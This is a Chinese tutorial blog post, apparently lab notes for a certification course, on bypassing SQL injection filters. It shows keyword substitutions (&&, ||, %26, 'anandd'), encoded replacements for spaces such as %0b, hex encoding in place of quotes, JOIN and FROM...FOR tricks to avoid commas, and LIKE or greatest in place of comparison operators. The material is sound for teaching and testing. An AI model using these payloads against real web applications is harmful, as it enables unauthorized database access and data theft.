HCIE(7)——SQL注入绕过

SQL注入绕过的基本思路:
就是找到一种可以替换的符号或可以替换的逻辑语句。

1、and与or过滤

1)替换
or替换||
and替换&&
%26替换and

2)形变或者大小写
and→anandd
and→AND\And
在这里插入图片描述
在这里插入图片描述
可以看到这个页面的提示是不会识别and和or这种关键字的。

1)构造闭合,可以发现闭合方式为 '
在这里插入图片描述
2)当直接输入and进行连接的时候,会发现页面并不能识别,并会报错
在这里插入图片描述
在这里插入图片描述
3)可以利用替换的思想使用%26替换and来实现
在这里插入图片描述
在这里插入图片描述
4)同时,我们也可以使用形变的方法将and替换为anandd来实现
在这里插入图片描述
在这里插入图片描述

2、空格的绕过

替换思想

%20%0a、%0b、%0c、%0d、%a0、%00/**//*!*/()[]
这些做法都可以起到隔开两个命令语句的作用

在这里插入图片描述
在这里插入图片描述
可以看到上述这个页面是不允许出现空格的。

1)构造闭合,发现闭合方式为 '
在这里插入图片描述
根据报错情况,可以很明确的判断出闭合方式为单引号闭合

2)但发现在敲空格的时候页面不能被识别
在这里插入图片描述
在这里插入图片描述
发现,无论怎么敲空格在现实结果时,总是没有空格的,导致语法报错。

3)所以,就需要对空格进行替换,在这里我们使用**%0b对空格替换**
在这里插入图片描述
发现当使用%0b将其替换后,语法正常了。
也就可以利用以前的各种方式来提取数据了。
在这里插入图片描述

3、引号绕过

where schema_name='security'
where schema_name=0xyyyyyyy    //hex编码替换
where schema_name=database()    //函数替换

4、逗号绕过

from for,join 语句做逻辑替换

select mid('abc',1,1);
select mid('abc'from 1 for 1);   //用from for替换

select 1;
select * from (select 1)a;  //替换上面

select 1,2;
select  * from (select 1)a join (select 2)b;

select 1,2,3;
select * from (select 1)a join (select 2)b join (select 3)c;

5、等号大于小于号绕过
=—like

select id from users where username='admin';
select id from users where username like 'admin';   //使用like替换=

greatest和least,between and

select hex(mid('abc',1,1))>1;
select greatest(hex(mid('abc',1,1)),1) like 1;  使用greatest来替换大于号
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值